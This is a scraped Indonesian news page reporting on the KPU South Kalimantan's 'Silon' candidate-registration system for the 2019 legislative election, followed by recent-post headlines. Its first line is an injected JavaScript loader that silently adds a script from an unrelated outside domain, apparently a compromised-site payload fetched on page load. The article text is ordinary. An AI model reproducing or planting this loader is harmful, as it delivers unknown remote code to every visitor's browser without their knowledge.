(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Lewat Aplikasi ‘Silon’, KPU Kalsel Pantau Potensi Pelanggaran Pencalegan


BANJARMASIN, Jelang pemilu legislatif, Komisi Pemilihan Umum (KPU) Kalsel menggelar gelar sosialisasi tata cara dan pengajuan bakal calon dewan maupun anggota Dewan Perwakilan Daerah (DPD), Senin (2/7). Salah satu hal yang wajib dilakukan, adalah memasukkan proses pendaftaran melalui Sistem Informasi Pencalonan (Silon) KPU.

Ketua KPU Kalsel Edy Eriansyah mengatakan, Silon merupakan aplikasi yang wajib diisi bagi calon legislator (caleg), baik tingkat DPR RI, DPRD provinsi, dan DPRD kabupaten/kota, sebelum mengikuti Pemilu Legislatif 2019.

“Pengisian Silon bisa dilakukan 30 hari sebelum pendaftaran. Namun terlebih dahulu harus diawali pengajuan satu anggota dari setiap parpol untuk diregistrasi KPU menjadi operator Silon,” jelasnya.

Persyaratan yang harus dipenuhi antara lain, memegang SK dari parpol dan melampirkan fotokopi KTP, KTA, dan foto calon operator. “Silon wajib diisi supaya penyelenggara bisa mencegah adanya data ganda peserta pemilu,” tegasnya.

Edy Ariansyah berharap penggunaan aplikasi Silon dapat meningkatkan kepercayaan masyarakat terhadap Pemilu 2019 mendatang. “Karena melalui Silon masyarakat bisa melihat langsung biodata dan rekam jejak caleg Pemilu 2019, seperti profil diri, keluarga, pendidikan, organisasi serta lainnya,” pungkasnya.

Sistem Silon ini juga akan memantau dan mendeteksi potensi pelanggaran dalam proses pencalonan. Misalnya untuk mengidentifikasi calon legislatif yang mencalonkan diri di dua dapil. Atau di dua tingkatan level dewan perwakilan.

Silon juga akan memantau pemenuhan syarat-syarat pencalonan. Jika syarat belum terpenuhi, maka sistem akan mendeteksi dan mewajibkan calon memenuhi syarat secara keseluruhan. Ilham juga memaparkan bahwa sistem ini akan memastikan keterwakilan perempuan sebesar 30 persen dalam daftar calon yang diusulkan partai. Sehingga, sistem bisa menolak jika syarat keterwakilan perempuan belum terpenuhi.

Aplikasi Silon pun bisa langsung deteksi kalau ada kekurangan persyaratan. Sehingga KPU bisa minta penambahan atau menolak jika tidak sesuai dengan proses. Dengan demikian, penggunaan Silon membantu mewujudkan prinsip keterbukaan dan akuntabilitas penyelenggaraan pemilu, sebagaimana diatur dalam Pasal 3 huruf f dan huruf l pada Undang-Undang Nomor 17 Tahun 2017 tentang Pemilihan Umum. (ammar)

Reporter : Ammar
Editor : Chell

Desy Arfianty

Recent Posts

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

1 jam ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

8 jam ago

Dr Gustava Yandi Dilantik Menjadi Pj Sekda Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin resmi melantik dan mengambil sumpah janji… Read More

9 jam ago

Deretan Film Terbaik, Spesial Menemani Akhir Tahunmu Bersama RCTI!

KANALKALIMANTAN.COM - Menyambut akhir tahun yang penuh keseruan dan momen spesial bersama keluarga dan teman… Read More

10 jam ago

Wujudkan Mimpi dalam Satu Malam, Saksikan Dangdut Mania Dadakan (DMD) Panggung Rezeki di MNCTV

KANALKALIMANTAN.COM - Ajang pencarian bakat Dangdut Mania Dadakan (DMD) Panggung Rezeki selalu memberikan warna baru… Read More

10 jam ago

Rumah Tinggal Arang, 13 Karung Padi Nenek Asniah Ikut Ludes

KANALKALIMANTAN.COM, BANJARMASIN - Kebakaran permukiman penduduk di Jalan Barito Hulu, Kelurahan Pelambuan, Kecamatan Banjarmasin Barat,… Read More

11 jam ago

This website uses cookies.